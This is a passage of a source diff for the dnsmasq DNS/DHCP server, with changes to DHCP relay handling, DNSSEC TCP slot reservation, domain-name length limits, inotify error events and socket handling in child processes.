if (relay->iface_index != 0 && relay->iface_index == iface_index)
{
union mysockaddr to;
union all_addr from;
mess->hops = hops;
mess->giaddr = giaddr;
if ((mess->hops++) > 20)
continue;
/* source address == relay address */
from.addr4 = relay->local.addr4;
/* already gatewayed ? */
if (giaddr.s_addr)
{
/* if so check if by us, to stomp on loops. */
if (giaddr.s_addr == relay->local.addr4.s_addr)
continue;
}
else
{
/* plug in our address */
mess->giaddr.s_addr = relay->local.addr4.s_addr;
}
to.sa.sa_family = AF_INET;
to.in.sin_addr = relay->server.addr4;
to.in.sin_port = htons(relay->port);
#ifdef HAVE_SOCKADDR_SA_LEN
to.in.sin_len = sizeof(struct sockaddr_in);
#endif
/* Broadcasting to server. */
if (relay->server.addr4.s_addr == 0)
{
struct ifreq ifr;
if (relay->interface)
safe_strncpy(ifr.ifr_name, relay->interface, IF_NAMESIZE);
if (!relay->interface || strchr(relay->interface, '*') ||
ioctl(daemon->dhcpfd, SIOCGIFBRDADDR, &ifr) == -1)
{
my_syslog(MS_DHCP | LOG_ERR, _("Cannot broadcast DHCP relay via interface %s"), relay->interface);
continue;
}
to.in.sin_addr = ((struct sockaddr_in *) &ifr.ifr_addr)->sin_addr;
}
#ifdef HAVE_DUMPFILE
{
union mysockaddr fromsock;
fromsock.in.sin_port = htons(daemon->dhcp_server_port);
fromsock.in.sin_addr = from.addr4;
fromsock.sa.sa_family = AF_INET;
dump_packet_udp(DUMP_DHCP, (void *)mess, sz, &fromsock, &to, -1);
}
#endif
send_from(daemon->dhcpfd, 0, (char *)mess, sz, &to, &from, 0);
if (option_bool(OPT_LOG_OPTS))
{
inet_ntop(AF_INET, &relay->local, daemon->addrbuff, ADDRSTRLEN);
if (relay->server.addr4.s_addr == 0)
snprintf(daemon->dhcp_buff2, DHCP_BUFF_SZ, _("broadcast via %s"), relay->interface);
else
inet_ntop(AF_INET, &relay->server.addr4, daemon->dhcp_buff2, DHCP_BUFF_SZ);
my_syslog(MS_DHCP | LOG_INFO, _("DHCP relay at %s -> %s"), daemon->addrbuff, daemon->dhcp_buff2);
}
}
/* restore in case of a local reply. */
mess->giaddr = giaddr;
}
static struct dhcp_relay *relay_reply4(struct dhcp_packet *mess, char *arrival_interface)
{
struct dhcp_relay *relay;
if (mess->giaddr.s_addr == 0 || mess->op != BOOTREPLY)
return NULL;
for (relay = daemon->relay4; relay; relay = relay->next)
{
if (mess->giaddr.s_addr == relay->local.addr4.s_addr)
{
if (!relay->interface || wildcard_match(relay->interface, arrival_interface))
return relay->iface_index != 0 ? relay : NULL;
}
}
return NULL;
}
#endif
+1 -1
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
+32 -10
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -89,6 +89,7 @@ void dhcp6_init(void)
void dhcp6_packet(time_t now)
{
struct dhcp_context *context;
struct dhcp_relay *relay;
struct iface_param parm;
struct cmsghdr *cmptr;
struct msghdr msg;
@@ -176,6 +177,7 @@ void dhcp6_packet(time_t now)
else
{
struct dhcp_bridge *bridge, *alias;
int multicast_dest = 0;
for (tmp = daemon->if_except; tmp; tmp = tmp->next)
if (tmp->name && wildcard_match(tmp->name, ifr.ifr_name))
@@ -230,14 +232,24 @@ void dhcp6_packet(time_t now)
context->current = context;
memset(&context->local6, 0, IN6ADDRSZ);
}
for (relay = daemon->relay6; relay; relay = relay->next)
relay->matchcount = 0;
inet_pton(AF_INET6, ALL_RELAY_AGENTS_AND_SERVERS, &all_servers);
if (IN6_ARE_ADDR_EQUAL(&dst_addr, &all_servers))
multicast_dest = 1;
/* Ignore requests sent to the ALL_SERVERS multicast address for relay when
we're listening there for DHCPv6 server reasons. */
inet_pton(AF_INET6, ALL_SERVERS, &all_servers);
if (!IN6_ARE_ADDR_EQUAL(&dst_addr, &all_servers) &&
relay_upstream6(if_index, (size_t)sz, &from.sin6_addr, from.sin6_scope_id, now))
return;
if (IN6_ARE_ADDR_EQUAL(&dst_addr, &all_servers))
multicast_dest = 1;
else
{
/* Ignore requests sent to the ALL_SERVERS multicast address for relay when
we're listening there for DHCPv6 server reasons. */
if (relay_upstream6(if_index, (size_t)sz, &from.sin6_addr, from.sin6_scope_id, now))
return;
}
if (!iface_enumerate(AF_INET6, &parm, (callback_t){.af_inet6=complete_context6}))
return;
@@ -266,7 +278,7 @@ void dhcp6_packet(time_t now)
lease_prune(NULL, now); /* lose any expired leases */
port = dhcp6_reply(parm.current, if_index, ifr.ifr_name, &parm.fallback,
port = dhcp6_reply(parm.current, multicast_dest, if_index, ifr.ifr_name, &parm.fallback,
&parm.ll_addr, &parm.ula_addr, sz, &from.sin6_addr, now);
/* The port in the source address of the original request should
@@ -444,7 +456,17 @@ static int complete_context6(struct in6_addr *local, int prefix,
if (match)
for (relay = daemon->relay6; relay; relay = relay->next)
if (IN6_ARE_ADDR_EQUAL(local, &relay->local.addr6))
relay->iface_index = if_index;
{
relay->iface_index = if_index;
/* More than one interface with the relay address breaks things. */
if (relay->matchcount++ == 1 && !relay->warned)
{
relay->warned = 1;
inet_ntop(AF_INET6, &local, daemon->addrbuff, ADDRSTRLEN);
my_syslog(MS_DHCP | LOG_WARNING, _("DHCP relay address %s appears on more than one interface"), daemon->addrbuff);
}
}
return 1;
}
@@ -698,7 +720,7 @@ static int construct_worker(struct in6_addr *local, int prefix,
return 1;
for (tmp = daemon->dhcp_except; tmp; tmp = tmp->next)
if (tmp->name && wildcard_match(tmp->name, ifrn_name))
if (tmp->name && (tmp->flags & INAME_6) && wildcard_match(tmp->name, ifrn_name))
return 1;
for (template = daemon->dhcp6; template; template = template->next)
+32 -3
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -22,8 +22,34 @@
#define IN6ADDRSZ 16
#define INADDRSZ 4
/* Dnsmasq handles domains names internally as NULL-terminated C strings.
The '.' characters in these strings are significant as label-seperators.
'.' and /0 characters _within_ labels are escaped and take up two
characters to allow labels to contain arbitrary characters.
The maximum length of a domain name in wire format is 255 bytes.
and the maximum length of this when coverted to a <label>.<label> string
is 253 characters. Reasoning: the wire format representation of a
label is one byte length followed by up to length characters so each of
these labels except the last takes the same space since the length is
replaced by the '.' seperator.
The last label doesn't have the "." so it takes one less character
and the terminating zero-length label takes no character either.
When we introduce the dnsmasq escaped format, the maximum length
of this representation is when there are the minimum number of labels,
since that gives us the maximum number of characters that may need
escaping. The minimum number of labels is four, so the overhead
is five bytes (four non-zero lengths plus the zero length terminator)
leaving a total of 250 characters in labels. If every one of these
is escaped and becomes two characters, that gives 500 characters,
plus the three '.' seperators between the four labels, for a total of
503 characters.
*/
#define MAXDNAME 255 /* Maximum size of a domain name in wire format */
#define MAXDNAMESTR 503 /* Maximum size of dnsmasq c-string representaion of a domain name. */
#define PACKETSZ 512 /* maximum packet size */
#define MAXDNAME 1025 /* maximum presentation domain name */
#define RRFIXEDSZ 10 /* #/bytes of fixed data in r record */
#define MAXLABEL 63 /* maximum length of domain label */
@@ -86,6 +112,7 @@
#define EDNS0_OPTION_UMBRELLA 20292 /* Cisco Umbrella temporary assignment */
/* RFC-8914 extended errors, negative values are our definitions */
#define EDE_US_SERVFAIL -2 /* SERVFAIL from usptream */
#define EDE_UNSET -1 /* No extended DNS error available */
#define EDE_OTHER 0 /* Other */
#define EDE_USUPDNSKEY 1 /* Unsupported DNSKEY algo */
@@ -184,10 +211,12 @@ struct dns_header {
#define ADD_RDLEN(header, pp, plen, len) \
(!CHECK_LEN(header, pp, plen, len) ? 0 : (((pp) += (len)), 1))
/* Escape character in our presentation format for names.
/* Escape character in our internal c-string format for names.
Cannot be '.' or /000 and must be !isprint().
Note that escaped chars are stored as
<NAME_ESCAPE> <orig-char+1>
to ensure that the escaped form of /000 doesn't include /000
*/
#define NAME_ESCAPE 1
#define IS_NAME_ESCAPE(x) ((x) == 0 || (x) == '.' || (x) == NAME_ESCAPE)
+281 -139
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -127,6 +127,7 @@ int main (int argc, char **argv)
This might be increased is EDNS packet size if greater than the minimum. */
daemon->packet_buff_sz = daemon->edns_pktsz + MAXDNAME + RRFIXEDSZ;
daemon->packet = safe_malloc(daemon->packet_buff_sz);
daemon->pipe_to_parent = -1;
if (option_bool(OPT_EXTRALOG))
daemon->addrbuff2 = safe_malloc(ADDRSTRLEN);
@@ -134,16 +135,14 @@ int main (int argc, char **argv)
#ifdef HAVE_DNSSEC
if (option_bool(OPT_DNSSEC_VALID))
{
/* Note that both /000 and '.' are allowed within labels. These get
represented in presentation format using NAME_ESCAPE as an escape
character. In theory, if all the characters in a name were /000 or
'.' or NAME_ESCAPE then all would have to be escaped, so the
presentation format would be twice as long as the spec. */
daemon->keyname = safe_malloc((MAXDNAME * 2) + 1);
daemon->cname = safe_malloc((MAXDNAME * 2) + 1);
daemon->keyname = safe_malloc(MAXDNAMESTR + 1);
daemon->cname = safe_malloc(MAXDNAMESTR + 1);
/* one char flag per possible RR in answer section (may get extended). */
daemon->rr_status_sz = 64;
daemon->rr_status = safe_malloc(sizeof(*daemon->rr_status) * daemon->rr_status_sz);
/* Increase TCP process slots by half, and reserve the extra for validation-to-tcp use only. */
daemon->dnssec_tcp_slot_reserved = daemon->max_procs/2;
daemon->max_procs += daemon->dnssec_tcp_slot_reserved;
}
#endif
@@ -198,7 +197,7 @@ int main (int argc, char **argv)
/* Must have at least a root trust anchor, or the DNSSEC code
can loop forever. */
for (ds = daemon->ds; ds; ds = ds->next)
if (ds->name[0] == 0)
if (ds->name && ds->name[0] == 0)
break;
if (!ds)
@@ -431,19 +430,12 @@ int main (int argc, char **argv)
daemon->tcp_pids = safe_malloc(daemon->max_procs*sizeof(pid_t));
daemon->tcp_pipes = safe_malloc(daemon->max_procs*sizeof(int));
daemon->tcp_type = safe_malloc(daemon->max_procs);
for (i = 0; i < daemon->max_procs; i++)
daemon->tcp_pipes[i] = -1;
}
#ifdef HAVE_INOTIFY
if ((daemon->port != 0 && !option_bool(OPT_NO_RESOLV)) ||
daemon->dynamic_dirs)
inotify_dnsmasq_init();
else
daemon->inotifyfd = -1;
#endif
if (daemon->dump_file)
#ifdef HAVE_DUMPFILE
dump_init();
@@ -863,6 +855,17 @@ int main (int argc, char **argv)
}
#endif
#ifdef HAVE_INOTIFY
if ((daemon->port != 0 && !option_bool(OPT_NO_RESOLV)) ||
daemon->dynamic_dirs)
inotify_dnsmasq_init(err_pipe[1]);
else
daemon->inotifyfd = -1;
#endif
/* Don't start logging malloc before logging is set up. */
daemon->log_malloc = option_bool(OPT_LOG_MALLOC);
if (daemon->port == 0)
my_syslog(LOG_INFO, _("started, version %s DNS disabled"), VERSION);
else
@@ -942,9 +945,27 @@ int main (int argc, char **argv)
my_syslog(LOG_INFO, _("DNSSEC signature timestamps not checked until system time valid"));
for (ds = daemon->ds; ds; ds = ds->next)
my_syslog(LOG_INFO,
ds->digestlen == 0 ? _("configured with negative trust anchor for %s") : _("configured with trust anchor for %s keytag %u"),
ds->name[0] == 0 ? "<root>" : ds->name, ds->keytag);
{
struct ds_config *ds1;
for (ds1 = ds->next; ds1; ds1 = ds1->next)
if (strcmp(ds->name, ds1->name) == 0 &&
ds->digestlen == ds1->digestlen &&
(ds->digestlen == 0 ||
(ds->algo == ds1->algo &&
ds->keytag == ds1->keytag &&
ds->digest_type == ds1->digest_type &&
memcmp(ds->digest, ds1->digest, ds->digestlen) == 0)))
{
ds->name = NULL; /* Mark as duplicate */
break;
}
if (ds->name)
my_syslog(LOG_INFO,
ds->digestlen == 0 ? _("configured with negative trust anchor for %s") : _("configured with trust anchor for %s keytag %u"),
ds->name[0] == 0 ? "<root>" : ds->name, ds->keytag);
}
}
#endif
@@ -1080,8 +1101,6 @@ int main (int argc, char **argv)
pid = getpid();
daemon->pipe_to_parent = -1;
#ifdef HAVE_INOTIFY
/* Using inotify, have to select a resolv file at startup */
poll_resolv(1, 0, now);
@@ -1336,11 +1355,40 @@ static void sig_handler(int sig)
if (sig == SIGTERM || sig == SIGINT)
exit(EC_MISC);
}
else if (pid != getpid())
else if (daemon->pipe_to_parent != -1)
{
/* alarm is used to kill TCP children after a fixed time. */
if (sig == SIGALRM)
_exit(0);
{
#ifdef HAVE_DNSSEC
if (!daemon->forward_to_tcp)
#endif
_exit(0); /* Normal TCP child */
#ifdef HAVE_DNSSEC
else
{
/* udp_to_tcp transfer.
If daemon->header_to_tcp is NULL the waiting is over and
we can let things take their course, otherwise, send a failure
return down the pipe to unblock the UDP transaction and kill
the process. */
if (daemon->header_to_tcp)
{
unsigned char op = PIPE_OP_KILLED;
int status = STAT_ABANDONED;
read_write(daemon->pipe_to_parent, &op, sizeof(op), RW_WRITE);
read_write(daemon->pipe_to_parent, (unsigned char *)&status, sizeof(status), RW_WRITE);
read_write(daemon->pipe_to_parent, (unsigned char *)(&daemon->plen_to_tcp), sizeof(daemon->plen_to_tcp), RW_WRITE);
read_write(daemon->pipe_to_parent, (unsigned char *)(daemon->header_to_tcp), daemon->plen_to_tcp, RW_WRITE);
read_write(daemon->pipe_to_parent, (unsigned char *)(&daemon->forward_to_tcp), sizeof(daemon->forward_to_tcp), RW_WRITE);
read_write(daemon->pipe_to_parent, (unsigned char *)(&daemon->forward_to_tcp->uid), sizeof(daemon->forward_to_tcp->uid), RW_WRITE);
_exit(0);
}
}
#endif
}
}
else
{
@@ -1417,8 +1465,6 @@ void send_event(int fd, int event, int data, char *msg)
while (writev(fd, iov, msg ? 2 : 1) == -1 && errno == EINTR);
}
/* NOTE: the memory used to return msg is leaked: use msgs in events only
to describe fatal errors. */
static int read_event(int fd, struct event_desc *evp, char **msg)
{
char *buf;
@@ -1428,12 +1474,22 @@ static int read_event(int fd, struct event_desc *evp, char **msg)
*msg = NULL;
if (evp->msg_sz != 0 &&
(buf = malloc(evp->msg_sz + 1)) &&
read_write(fd, (unsigned char *)buf, evp->msg_sz, RW_READ))
if (evp->msg_sz != 0)
{
buf[evp->msg_sz] = 0;
*msg = buf;
if (!(buf = whine_malloc(evp->msg_sz + 1)))
{
int i;
unsigned char a;
/* Keep the stream synchronised if malloc fails. */
for (i = 0; i < evp->msg_sz; i++)
read_write(fd, &a, 1, RW_READ);
}
else if (read_write(fd, (unsigned char *)buf, evp->msg_sz, RW_READ))
{
buf[evp->msg_sz] = 0;
*msg = buf;
}
}
return 1;
@@ -1486,6 +1542,26 @@ static void fatal_event(struct event_desc *ev, char *msg)
/* fall through */
case EVENT_TIME_ERR:
die(_("cannot create timestamp file %s: %s" ), msg, EC_BADCONF);
/* fall through */
case EVENT_LINK_ERR:
die(_("cannot access path %s: %s" ), msg, EC_MISC);
/* fall through */
case EVENT_INOTFY_ERR:
die(_("failed to create inotify: %s" ), NULL, EC_MISC);
/* fall through */
case EVENT_TMSL_ERR:
die(_("too many symlinks following %s"), msg, EC_MISC);
/* fall through */
case EVENT_RESOLV_ERR:
die(_("directory %s for resolv-file is missing, cannot poll"), msg, EC_MISC);
/* fall through */
case EVENT_IFILE_ERR:
die(_("failed to create inotify for %s: %s"), msg, EC_MISC);
}
}
@@ -1496,9 +1572,6 @@ static void async_event(int pipe, time_t now)
int wstatus, i, check = 0;
char *msg;
/* NOTE: the memory used to return msg is leaked: use msgs in events only
to describe fatal errors. */
if (read_event(pipe, &ev, &msg))
switch (ev.event)
{
@@ -1583,7 +1656,11 @@ static void async_event(int pipe, time_t now)
/* tcp_pipes == -1 && tcp_pids == 0 required to free slot */
if (daemon->tcp_pipes[i] == -1)
daemon->metrics[METRIC_TCP_CONNECTIONS]--;
{
if (daemon->tcp_type[i])
daemon->dnssec_tcp_slot_reserved++;
daemon->metrics[METRIC_TCP_CONNECTIONS]--;
}
}
break;
@@ -1604,7 +1681,6 @@ static void async_event(int pipe, time_t now)
case EVENT_SCRIPT_LOG:
my_syslog(MS_SCRIPT | LOG_DEBUG, "%s", msg ? msg : "");
free(msg);
msg = NULL;
break;
/* necessary for fatal errors in helper */
@@ -1820,7 +1896,7 @@ static void set_dns_listeners(void)
struct serverfd *serverfdp;
struct listener *listener;
struct randfd_list *rfl;
int i;
int i, j;
for (serverfdp = daemon->sfds; serverfdp; serverfdp = serverfdp->next)
poll_listen(serverfdp->fd, POLLIN);
@@ -1834,8 +1910,8 @@ static void set_dns_listeners(void)
poll_listen(rfl->rfd->fd, POLLIN);
/* check to see if we have free tcp process slots. */
for (i = daemon->max_procs - 1; i >= 0; i--)
if (daemon->tcp_pids[i] == 0 && daemon->tcp_pipes[i] == -1)
for (j = 0, i = daemon->max_procs - 1; i >= 0; i--)
if (daemon->tcp_pids[i] == 0 && daemon->tcp_pipes[i] == -1 && ++j > daemon->dnssec_tcp_slot_reserved)
break;
for (listener = daemon->listeners; listener; listener = listener->next)
@@ -1862,12 +1938,12 @@ static void check_dns_listeners(time_t now)
struct serverfd *serverfdp;
struct listener *listener;
struct randfd_list *rfl;
int i;
int i, j;
/* Note that handling events here can create or destroy fds and
render the result of the last poll() call invalid. Once
we find an fd that needs service, do it, then return to go around the
poll() loop again. This avoid really, really, wierd bugs. */
poll() loop again. This avoid really, really, weird bugs. */
if (!option_bool(OPT_DEBUG))
for (i = 0; i < daemon->max_procs; i++)
@@ -1887,7 +1963,11 @@ static void check_dns_listeners(time_t now)
daemon->tcp_pipes[i] = -1;
/* tcp_pipes == -1 && tcp_pids == 0 required to free slot */
if (daemon->tcp_pids[i] == 0)
daemon->metrics[METRIC_TCP_CONNECTIONS]--;
{
daemon->metrics[METRIC_TCP_CONNECTIONS]--;
if (daemon->tcp_type[i])
daemon->dnssec_tcp_slot_reserved++;
}
}
return;
}
@@ -1927,8 +2007,8 @@ static void check_dns_listeners(time_t now)
at least one a poll() time, that we still do.
There may be more waiting connections after
poll() returns then free process slots. */
for (i = daemon->max_procs - 1; i >= 0; i--)
if (daemon->tcp_pids[i] == 0 && daemon->tcp_pipes[i] == -1)
for (j = 0,i = daemon->max_procs - 1; i >= 0; i--)
if (daemon->tcp_pids[i] == 0 && daemon->tcp_pipes[i] == -1 && ++j > daemon->dnssec_tcp_slot_reserved)
break;
if (i >= 0)
@@ -1942,24 +2022,37 @@ static void check_dns_listeners(time_t now)
static void do_tcp_connection(struct listener *listener, time_t now, int slot)
{
int confd, client_ok = 1;
int confd;
struct irec *iface = NULL;
pid_t p;
union mysockaddr tcp_addr;
socklen_t tcp_len = sizeof(union mysockaddr);
unsigned char *buff;
struct server *s;
int flags, auth_dns;
struct server *s;
struct listener *l;
int flags, auth_dns = 0;
struct in_addr netmask;
int pipefd[2];
#ifdef HAVE_LINUX_NETWORK
struct iovec tcpbuff;
unsigned char a = 0;
#endif
netmask.s_addr = 0;
while ((confd = accept(listener->tcpfd, NULL, NULL)) == -1 && errno == EINTR);
if (confd == -1)
return;
{
/* Transient errors: just return and retry on next poll cycle. */
if (errno == EAGAIN || errno == ECONNABORTED ||
errno == EMFILE || errno == ENFILE ||
errno == ENOMEM || errno == ENOBUFS)
return;
/* Fatal error (EINVAL, EBADF, etc): socket is permanently broken.
Close it so poll() no longer selects it. In --bind-dynamic mode
the listener will be rebuilt on the next address change event. */
close(listener->tcpfd);
listener->tcpfd = -1;
return;
}
if (getsockname(confd, (struct sockaddr *)&tcp_addr, &tcp_len) == -1)
{
@@ -1982,60 +2075,80 @@ static void do_tcp_connection(struct listener *listener, time_t now, int slot)
enumerate_interfaces(0);
if (option_bool(OPT_NOWILD))
iface = listener->iface; /* May be NULL */
if (option_bool(OPT_NOWILD) || option_bool(OPT_CLEVERBIND))
{
if ((iface = listener->iface))
{
netmask = iface->netmask;
auth_dns = iface->dns_auth;
}
}
else
{
int if_index;
int if_index, got_index = 0;
char intr_name[IF_NAMESIZE];
/* if we can find the arrival interface, check it's one that's allowed */
/* if we can find the arrival interface, check it's one that's allowed
tcp_interface() is not implemented on non-Linux platforms */
if ((if_index = tcp_interface(confd, tcp_addr.sa.sa_family)) != 0 &&
indextoname(listener->tcpfd, if_index, intr_name))
{
union all_addr addr;
got_index = 1;
if (tcp_addr.sa.sa_family == AF_INET6)
addr.addr6 = tcp_addr.in6.sin6_addr;
else
addr.addr4 = tcp_addr.in.sin_addr;
for (iface = daemon->interfaces; iface; iface = iface->next)
if (iface->index == if_index &&
iface->addr.sa.sa_family == tcp_addr.sa.sa_family)
break;
if (!iface && !loopback_exception(listener->tcpfd, tcp_addr.sa.sa_family, &addr, intr_name))
client_ok = 0;
if (!iface_check(tcp_addr.sa.sa_family, &addr, intr_name, &auth_dns) &&
!loopback_exception(listener->tcpfd, tcp_addr.sa.sa_family, &addr, intr_name))
goto closeconandreturn;
}
if (option_bool(OPT_CLEVERBIND))
iface = listener->iface; /* May be NULL */
else
/* When binding the wildcard address, try and get the
netmask of the interface for localisation. */
for (iface = daemon->interfaces; iface; iface = iface->next)
if (sockaddr_isequal(&iface->addr, &tcp_addr))
{
netmask = iface->netmask;
break;
}
/* On platforms where tcp_interface() doesn't work, we rely
of the presence of the local address of the connection in the
interface list to check if we're accepting this connection and
for its auth status. */
if (!got_index)
{
/* Check for allowed interfaces when binding the wildcard address:
we do this by looking for an interface with the same address as
the local address of the TCP connection, then looking to see if that's
an allowed interface. As a side effect, we get the netmask of the
interface too, for localisation. */
for (iface = daemon->interfaces; iface; iface = iface->next)
if (sockaddr_isequal(&iface->addr, &tcp_addr))
break;
if (!iface)
client_ok = 0;
goto closeconandreturn;
auth_dns = iface->dns_auth;
}
}
if (!client_ok)
goto closeconandreturn;
if (!option_bool(OPT_DEBUG))
{
/* The code in edns0.c that decorates queries with the source MAC address depends
on the code in arp.c, which populates a cache with the contents of the ARP table
using netlink. Since the child process can't use netlink, we pre-populate
the cache with the ARP table entry for our source here, including a negative entry
if there is nothing for our address in the ARP table.
When the edns0 code calls find_mac() in the child process, it will
get the correct answer from the cache inherited from the parent
without having to use netlink to consult the kernel ARP table.
edns0_needs_mac() simply calls find_mac if any EDNS0 options
which need a MAC address are enabled. */
edns0_needs_mac(&tcp_addr, now);
if (pipe(pipefd) == -1)
goto closeconandreturn; /* pipe failed */
if ((p = fork()) == -1)
{
/* fork failed */
@@ -2049,27 +2162,22 @@ static void do_tcp_connection(struct listener *listener, time_t now, int slot)
/* fork() done: parent side */
close(pipefd[1]); /* parent needs read pipe end. */
#ifdef HAVE_LINUX_NETWORK
/* The child process inherits the netlink socket,
which it never uses, but when the parent (us)
uses it in the future, the answer may go to the
child, resulting in the parent blocking
forever awaiting the result. To avoid this
the child closes the netlink socket, but there's
a nasty race, since the parent may use netlink
before the child has done the close.
/* The child process inherits various sockets,
whose existence can mess up the function of
the parent. See below for details of which
sockets, and why they cause problems. The
child closes the sockets during startup,
but there's a nasty race, since the parent
may use them before the child has done the close.
To avoid this, the parent blocks here until a
To avoid the race, the parent blocks here until a
single byte comes back up the pipe, which
is sent by the child after it has closed the
netlink socket. */
is sent when the child has finished the close. */
read_write(pipefd[0], &a, 1, RW_READ);
#endif
daemon->tcp_pids[slot] = p;
daemon->tcp_pipes[slot] = pipefd[0];
daemon->tcp_type[slot] = 0;
daemon->metrics[METRIC_TCP_CONNECTIONS]++;
if (daemon->metrics[METRIC_TCP_CONNECTIONS] > daemon->max_procs_used)
daemon->max_procs_used = daemon->metrics[METRIC_TCP_CONNECTIONS];
@@ -2086,43 +2194,52 @@ static void do_tcp_connection(struct listener *listener, time_t now, int slot)
return;
}
}
if (iface)
{
netmask = iface->netmask;
auth_dns = iface->dns_auth;
}
else
{
netmask.s_addr = 0;
auth_dns = 0;
}
/* Arrange for SIGALRM after CHILD_LIFETIME seconds to
terminate the process. */
if (!option_bool(OPT_DEBUG))
{
#ifdef HAVE_LINUX_NETWORK
/* See comment above re: netlink socket. */
/* The child process inherits the netlink socket,
which it never uses, but when the parent
uses it in the future, the answer may go to the
child, resulting in the parent blocking
forever awaiting the result. To avoid this
close the netlink socket in the child. */
close(daemon->netlinkfd);
#elif defined(HAVE_BSD_NETWORK)
close(daemon->routefd);
#endif
/* Close inherited listening sockets in the child process.
These are not needed here and holding them prevents the
parent from re-binding if an interface is removed and
re-added (the child's copy causes EADDRINUSE). */
for (l = daemon->listeners; l; l = l->next)
{
if (l->fd != -1)
close(l->fd);
if (l->tcpfd != -1)
close(l->tcpfd);
if (l->tftpfd != -1)
close(l->tftpfd);
}
/* unblock parent now we're not holding sockets we shouldn't. */
read_write(pipefd[1], &a, 1, RW_WRITE);
#endif
/* Arrange for SIGALRM after CHILD_LIFETIME seconds to
terminate the process. */
alarm(CHILD_LIFETIME);
close(pipefd[0]); /* close read end in child. */
daemon->pipe_to_parent = pipefd[1];
}
}
/* The connected socket inherits non-blocking
attribute from the listening socket.
Reset that here. */
if ((flags = fcntl(confd, F_GETFL, 0)) != -1)
while(retry_send(fcntl(confd, F_SETFL, flags & ~O_NONBLOCK)));
buff = tcp_request(confd, now, &tcp_addr, netmask, auth_dns);
if (buff)
free(buff);
tcp_request(confd, now, &tcpbuff, &tcp_addr, netmask, auth_dns);
free(tcpbuff.iov_base);
for (s = daemon->servers; s; s = s->next)
if (s->tcpfd != -1)
@@ -2159,14 +2276,13 @@ int swap_to_tcp(struct frec *forward, time_t now, int status, struct dns_header
ssize_t *plen, char *name, int class, struct server *server, int *keycount, int *validatecount)
{
struct server *s;
struct listener *l;
if (!option_bool(OPT_DEBUG))
{
pid_t p;
int i, pipefd[2];
#ifdef HAVE_LINUX_NETWORK
unsigned char a = 0;
#endif
/* check to see if we have a free tcp process slot. */
for (i = daemon->max_procs - 1; i >= 0; i--)
@@ -2187,26 +2303,24 @@ int swap_to_tcp(struct frec *forward, time_t now, int status, struct dns_header
return STAT_ABANDONED;
}
#ifdef HAVE_LINUX_NETWORK
/* The child process inherits the netlink socket,
which it never uses, but when the parent (us)
uses it in the future, the answer may go to the
child, resulting in the parent blocking
forever awaiting the result. To avoid this
the child closes the netlink socket, but there's
a nasty race, since the parent may use netlink
before the child has done the close.
/* The child process inherits various sockets,
whose existence can mess up the function of
the parent. See below for details of which
sockets, and why they cause problems. The
child closes the sockets during startup,
but there's a nasty race, since the parent
may use them before the child has done the close.
To avoid this, the parent blocks here until a
To avoid the race, the parent blocks here until a
single byte comes back up the pipe, which
is sent by the child after it has closed the
netlink socket. */
is sent when the child has finished the close. */
read_write(pipefd[0], &a, 1, RW_READ);
#endif
/* i holds index of free slot */
daemon->tcp_pids[i] = p;
daemon->tcp_pipes[i] = pipefd[0];
daemon->tcp_type[i] = 1;
daemon->dnssec_tcp_slot_reserved--;
daemon->metrics[METRIC_TCP_CONNECTIONS]++;
if (daemon->metrics[METRIC_TCP_CONNECTIONS] > daemon->max_procs_used)
daemon->max_procs_used = daemon->metrics[METRIC_TCP_CONNECTIONS];
@@ -2221,12 +2335,40 @@ int swap_to_tcp(struct frec *forward, time_t now, int status, struct dns_header
{
/* child starts here. */
#ifdef HAVE_LINUX_NETWORK
/* See comment above re: netlink socket. */
/* The child process inherits the netlink socket,
which it never uses, but when the parent
uses it in the future, the answer may go to the
child, resulting in the parent blocking
forever awaiting the result. To avoid this
close the netlink socket in the child. */
close(daemon->netlinkfd);
#elif defined(HAVE_BSD_NETWORK)
close(daemon->routefd);
#endif
/* Close inherited listening sockets in the child process.
These are not needed here and holding them prevents the
parent from re-binding if an interface is removed and
re-added (the child's copy causes EADDRINUSE). */
for (l = daemon->listeners; l; l = l->next)
{
if (l->fd != -1)
close(l->fd);
if (l->tcpfd != -1)
close(l->tcpfd);
if (l->tftpfd != -1)
close(l->tftpfd);
}
/* unblock parent now we're not holding sockets we shouldn't. */
read_write(pipefd[1], &a, 1, RW_WRITE);
#endif
alarm(CHILD_LIFETIME);
close(pipefd[0]); /* close read end in child. */
daemon->pipe_to_parent = pipefd[1];
daemon->pipe_to_parent = pipefd[1];
daemon->forward_to_tcp = forward;
daemon->header_to_tcp = header;
daemon->plen_to_tcp = *plen;
}
}
+66 -33
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -14,7 +14,7 @@
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#define COPYRIGHT "Copyright (c) 2000-2025 Simon Kelley"
#define COPYRIGHT "Copyright (c) 2000-2026 Simon Kelley"
/* We do defines that influence behavior of stdio.h, so complain
if included too early. */
@@ -201,6 +201,11 @@ struct event_desc {
#define EVENT_TIME_ERR 24
#define EVENT_SCRIPT_LOG 25
#define EVENT_TIME 26
#define EVENT_LINK_ERR 27
#define EVENT_INOTFY_ERR 28
#define EVENT_TMSL_ERR 29
#define EVENT_RESOLV_ERR 30
#define EVENT_IFILE_ERR 31
/* Exit codes. */
#define EC_GOOD 0
@@ -289,7 +294,9 @@ struct event_desc {
#define OPT_DO_0x20 75
#define OPT_AUTH_LOG 76
#define OPT_LEASEQUERY 77
#define OPT_LAST 78
#define OPT_LOG_ONLY_FAILED 78
#define OPT_LOG_MALLOC 79
#define OPT_LAST 80
#define OPTION_BITS (sizeof(unsigned int)*8)
